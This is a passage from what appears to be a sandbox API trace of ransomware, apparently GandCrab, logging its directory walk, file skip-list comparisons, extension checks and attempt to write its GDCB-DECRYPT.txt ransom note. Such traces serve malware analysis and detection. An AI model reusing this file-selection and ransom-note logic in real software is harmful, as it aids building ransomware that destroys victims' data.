lpString2="ntuser.dat.log") returned -1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.085] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.085] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0170.085] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0170.085] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0170.085] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.085] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.085] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.085] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\" [0170.085] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.086] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.086] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.086] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 138 [0170.086] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.086] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4a18 [0170.086] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.086] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.086] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.086] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.086] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.086] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.086] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.086] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.086] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned 143 [0170.086] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.086] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.086] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.086] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.086] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned 154 [0170.086] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.086] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0170.086] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0170.086] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF" [0170.086] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned 141 [0170.086] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.086] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned 143 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 154 [0170.087] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned 144 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned 145 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 150 [0170.087] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned 147 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 151 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned 145 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned 146 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 151 [0170.087] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.087] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0170.087] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0170.087] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers" [0170.087] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned 148 [0170.088] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.088] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0170.088] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0170.088] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp" [0170.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned 142 [0170.088] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.088] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0170.088] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0170.088] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files" [0170.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 162 [0170.088] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.088] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0170.088] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0170.088] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer" [0170.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 151 [0170.088] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.088] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0170.088] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0170.088] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore" [0170.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 150 [0170.088] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0170.088] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0170.088] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.088] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 155 [0170.088] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.090] GetLastError () returned 0x50 [0170.090] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 138 [0170.090] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.090] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a49d8 [0170.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.090] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.090] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.090] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.090] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.090] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.090] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.090] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.090] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\" [0170.090] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.090] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 144 [0170.091] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.091] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4c58 [0170.091] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.091] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.091] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.091] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.091] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.091] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.091] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.091] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 151 [0170.091] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.091] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.091] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.091] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.091] lstrlenW 